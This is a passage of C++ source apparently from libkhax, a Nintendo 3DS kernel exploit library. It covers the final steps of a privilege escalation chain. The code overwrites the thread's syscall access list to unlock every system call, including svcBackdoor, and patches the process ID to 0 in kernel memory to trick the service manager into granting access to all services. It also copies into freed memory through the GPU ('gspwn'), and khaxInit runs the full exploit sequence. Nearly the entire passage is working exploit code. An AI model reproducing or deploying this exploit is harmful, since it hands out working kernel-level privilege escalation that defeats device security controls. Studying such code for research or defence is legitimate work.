727 // Grant our process access to all system calls, including svcBackdoor.\r
728 Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()\r
729 {\r
730         // Everything, except nonexistent services 00, 7E or 7F.\r
731         static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";\r
732 \r
733         // Get the KThread pointer.  Its type doesn't vary, so far.\r
734         KThread *kthread = *m_versionData->m_currentKThreadPtr;\r
735 \r
736         // Debug dumping.\r
737 #ifdef KHAX_DEBUG_DUMP_DATA\r
738         // Get the KProcess pointer, whose type varies by kernel version.\r
739         void *kprocess = *m_versionData->m_currentKProcessPtr;\r
740 \r
741         void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));\r
742         std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));\r
743         std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));\r
744         std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));\r
745 #endif\r
746 \r
747         // Get a pointer to the SVC ACL within the SVC area for the thread.\r
748         SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);\r
749         KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;\r
750 \r
751         // Save the old one for diagnostic purposes.\r
752         std::memcpy(m_oldACL, threadACL, sizeof(threadACL));\r
753 \r
754         // Set the ACL for the current thread.\r
755         std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));\r
756 \r
757         return 0;\r
758 }\r
759 \r
760 //------------------------------------------------------------------------------------------------\r
761 // Flush instruction and data caches.\r
762 Result KHAX::MemChunkHax::Step6f_FlushCaches()\r
763 {\r
764         // Invalidates the entire instruction cache.\r
765         __asm__ volatile(\r
766                 "mov r0, #0\n\t"\r
767                 "mcr p15, 0, r0, c7, c5, 0\n\t");\r
768 \r
769         // Invalidates the entire data cache.\r
770         __asm__ volatile(\r
771                 "mov r0, #0\n\t"\r
772                 "mcr p15, 0, r0, c7, c10, 0\n\t");\r
773 \r
774         return 0;\r
775 }\r
776 \r
777 //------------------------------------------------------------------------------------------------\r
778 // Grant access to all services.\r
779 Result KHAX::MemChunkHax::Step7_GrantServiceAccess()\r
780 {\r
781         // Backup the original PID.\r
782         Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);\r
783         if (result != 0)\r
784         {\r
785                 KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);\r
786                 return result;\r
787         }\r
788 \r
789         KHAX_printf("Step7:current pid=%lu\n", m_originalPID);\r
790 \r
791         // Patch the PID to 0, granting access to all services.\r
792         svcBackdoor(Step7a_PatchPID);\r
793 \r
794         // Check whether PID patching succeeded.\r
795         u32 newPID;\r
796         result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
797         if (result != 0)\r
798         {\r
799                 // Attempt patching back anyway, for stability reasons.\r
800                 svcBackdoor(Step7b_UnpatchPID);\r
801                 KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);\r
802                 return result;\r
803         }\r
804 \r
805         if (newPID != 0)\r
806         {\r
807                 KHAX_printf("Step7:nonzero:%lu\n", newPID);\r
808                 return MakeError(27, 11, KHAX_MODULE, 1023);\r
809         }\r
810 \r
811         // Reinit ctrulib's srv connection to gain access to all services.\r
812         srvExit();\r
813         srvInit();\r
814 \r
815         // Restore the original PID now that srv has been tricked into thinking that we're PID 0.\r
816         svcBackdoor(Step7b_UnpatchPID);\r
817 \r
818         // Check whether PID restoring succeeded.\r
819         result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
820         if (result != 0)\r
821         {\r
822                 KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);\r
823                 return result;\r
824         }\r
825 \r
826         if (newPID != m_originalPID)\r
827         {\r
828                 KHAX_printf("Step7:not same:%lu\n", newPID);\r
829                 return MakeError(27, 11, KHAX_MODULE, 1023);\r
830         }\r
831 \r
832         return 0;\r
833 }\r
834 \r
835 //------------------------------------------------------------------------------------------------\r
836 // Patch the PID to 0.\r
837 Result KHAX::MemChunkHax::Step7a_PatchPID()\r
838 {\r
839         // Disable interrupts ASAP.\r
840         // FIXME: Need a better solution for this.\r
841         __asm__ volatile("cpsid aif");\r
842 \r
843         // Patch the PID to 0.  The version data has a function pointer in m_makeKProcessPointers\r
844         // to translate the raw KProcess pointer into pointers into key fields, and we access the\r
845         // m_processID field from it.\r
846         *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
847                 .m_processID) = 0;\r
848         return 0;\r
849 }\r
850 \r
851 //------------------------------------------------------------------------------------------------\r
852 // Restore the original PID.\r
853 Result KHAX::MemChunkHax::Step7b_UnpatchPID()\r
854 {\r
855         // Disable interrupts ASAP.\r
856         // FIXME: Need a better solution for this.\r
857         __asm__ volatile("cpsid aif");\r
858 \r
859         // Patch the PID back to the original value.\r
860         *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
861                 .m_processID) = s_instance->m_originalPID;\r
862         return 0;\r
863 }\r
864 \r
865 //------------------------------------------------------------------------------------------------\r
866 // Helper for dumping memory to SD card.\r
867 template <std::size_t S>\r
868 bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const\r
869 {\r
870         char formatted[32];\r
871         snprintf(formatted, KHAX_lengthof(formatted), filename,\r
872                 static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?\r
873                 "New" : "Old");\r
874 \r
875         bool result = true;\r
876 \r
877         FILE *file = std::fopen(formatted, "wb");\r
878         if (file)\r
879         {\r
880                 result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);\r
881                 std::fclose(file);\r
882         }\r
883         else\r
884         {\r
885                 result = false;\r
886         }\r
887 \r
888         return result;\r
889 }\r
890 \r
891 //------------------------------------------------------------------------------------------------\r
892 // Free memory and such.\r
893 KHAX::MemChunkHax::~MemChunkHax()\r
894 {\r
895         // Dump memory to SD card if that is enabled.\r
896 #ifdef KHAX_DEBUG_DUMP_DATA\r
897         if (m_nextStep > 6)\r
898         {\r
899                 DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");\r
900                 DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");\r
901                 DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");\r
902         }\r
903 #endif\r
904 \r
905         // If we're corrupted, we're dead.\r
906         if (m_corrupted > 0)\r
907         {\r
908                 KHAX_printf("~:error while corrupt;freezing\n");\r
909                 for (;;)\r
910                 {\r
911                         svcSleepThread(s64(60) * 1000000000);\r
912                 }\r
913         }\r
914 \r
915         // This function has to be careful not to crash trying to shut down after an aborted attempt.\r
916         if (m_overwriteMemory)\r
917         {\r
918                 u32 dummy;\r
919 \r
920                 // Each page has a flag indicating that it is still allocated.\r
921                 for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)\r
922                 {\r
923                         // Don't free a page unless it remains allocated.\r
924                         if (m_overwriteAllocated & (1u << x))\r
925                         {\r
926                                 Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,\r
927                                         sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));\r
928                                 KHAX_printf("free %u: %08lx\n", x, res);\r
929                         }\r
930                 }\r
931         }\r
932 \r
933         // Free the extra linear memory.\r
934         if (m_extraLinear)\r
935         {\r
936                 linearFree(m_extraLinear);\r
937         }\r
938 \r
939         // s_instance better be us\r
940         if (s_instance != this)\r
941         {\r
942                 KHAX_printf("~:s_instance is wrong\n");\r
943         }\r
944         else\r
945         {\r
946                 s_instance = nullptr;\r
947         }\r
948 }\r
949 \r
950 \r
951 //------------------------------------------------------------------------------------------------\r
952 //\r
953 // Miscellaneous\r
954 //\r
955 \r
956 //------------------------------------------------------------------------------------------------\r
957 // Make an error code\r
958 inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)\r
959 {\r
960         return (level << 27) + (summary << 21) + (module << 10) + error;\r
961 }\r
962 \r
963 //------------------------------------------------------------------------------------------------\r
964 // Check whether this system is a New 3DS.\r
965 Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)\r
966 {\r
967         // If the kernel version isn't already known by the caller, find out.\r
968         u32 kernelVersion = kernelVersionAlreadyKnown;\r
969         if (kernelVersion == 0)\r
970         {\r
971                 kernelVersion = osGetKernelVersion();\r
972         }\r
973 \r
974         // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.\r
975         if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))\r
976         {\r
977                 // Check whether the system is a New 3DS.  If this fails, abort, because being wrong would\r
978                 // crash the system.\r
979                 u8 isNew3DS = 0;\r
980                 if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))\r
981                 {\r
982                         *answer = false;\r
983                         return error;\r
984                 }\r
985 \r
986                 // Use the result of APT_CheckNew3DS.\r
987                 *answer = isNew3DS != 0;\r
988                 return 0;\r
989         }\r
990 \r
991         // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.\r
992         *answer = false;\r
993         return 0;\r
994 }\r
995 \r
996 //------------------------------------------------------------------------------------------------\r
997 // gspwn, meant for reading from or writing to freed buffers.\r
998 Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)\r
999 {\r
1000         // Attempt a flush of the source, but ignore the result, since we may have just been asked to\r
1001         // read unmapped memory or something similar.\r
1002         GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);\r
1003 \r
1004         // Invalidate the destination's cache, since we're about to overwrite it.  Likewise, ignore\r
1005         // errors, since it may be the destination that is an unmapped address.\r
1006         GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);\r
1007 \r
1008         // Copy that floppy.\r
1009         if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,\r
1010                 static_cast<u32 *>(dest), 0, size, 8))\r
1011         {\r
1012                 KHAX_printf("gspwn:copy fail:%08lx\n", result);\r
1013                 return result;\r
1014         }\r
1015 \r
1016         // Wait for the operation to finish.\r
1017         if (wait)\r
1018         {\r
1019                 gspWaitForPPF();\r
1020         }\r
1021 \r
1022         return 0;\r
1023 }\r
1024 \r
1025 //------------------------------------------------------------------------------------------------\r
1026 // Given a pointer to a structure that is a member of another structure,\r
1027 // return a pointer to the outer structure.  Inspired by Windows macro.\r
1028 template <typename Outer, typename Inner>\r
1029 Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)\r
1030 {\r
1031         unsigned char *p = reinterpret_cast<unsigned char *>(member);\r
1032         p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));\r
1033         return reinterpret_cast<Outer *>(p);\r
1034 }\r
1035 \r
1036 //------------------------------------------------------------------------------------------------\r
1037 // Main initialization function interface.\r
1038 extern "C" Result khaxInit()\r
1039 {\r
1040         using namespace KHAX;\r
1041 \r
1042 #ifdef KHAX_DEBUG\r
1043         bool isNew3DS;\r
1044         IsNew3DS(&isNew3DS, 0);\r
1045         KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),\r
1046                 isNew3DS);\r
1047 #endif\r
1048 \r
1049         // Look up the current system's version in our table.\r
1050         const VersionData *versionData = VersionData::GetForCurrentSystem();\r
1051         if (!versionData)\r
1052         {\r
1053                 KHAX_printf("khaxInit: Unknown kernel version\n");\r
1054                 return MakeError(27, 6, KHAX_MODULE, 39);\r
1055         }\r
1056 \r
1057         KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,\r
1058                 versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);\r
1059 \r
1060         // Create the hack object.\r
1061         MemChunkHax hax{ versionData };\r
1062 \r
1063         // Run through the steps.\r
1064         if (Result result = hax.Step1_Initialize())\r
1065         {\r
1066                 KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);\r
1067                 return result;\r
1068         }\r
1069         if (Result result = hax.Step2_AllocateMemory())\r
1070         {\r
1071                 KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);\r
1072                 return result;\r
1073         }\r
1074         if (Result result = hax.Step3_SurroundFree())\r
1075         {\r
1076                 KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);\r
1077                 return result;\r
1078         }\r
1079         if (Result result = hax.Step4_VerifyExpectedLayout())\r
1080         {\r
1081                 KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);\r
1082                 return result;\r
1083         }\r
1084         if (Result result = hax.Step5_CorruptCreateThread())\r
1085         {\r
1086                 KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);\r
1087                 return result;\r
1088         }\r
1089         if (Result result = hax.Step6_ExecuteSVCCode())\r
1090         {\r
1091                 KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);\r
1092                 return result;\r
1093         }\r
1094         if (Result result = hax.Step7_GrantServiceAccess())\r
1095         {\r
1096                 KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);\r
1097                 return result;\r
1098         }\r
1099 \r
1100         KHAX_printf("khaxInit: done\n");\r
1101         return 0;\r
1102 }\r
1103 \r
1104 //------------------------------------------------------------------------------------------------\r
1105 // Shut down libkhax.  Doesn't actually do anything at the moment, since khaxInit does everything\r
1106 // and frees all memory on the way out.\r
1107 extern "C" Result khaxExit()\r
1108 {\r
1109         return 0;\r
1110 }\r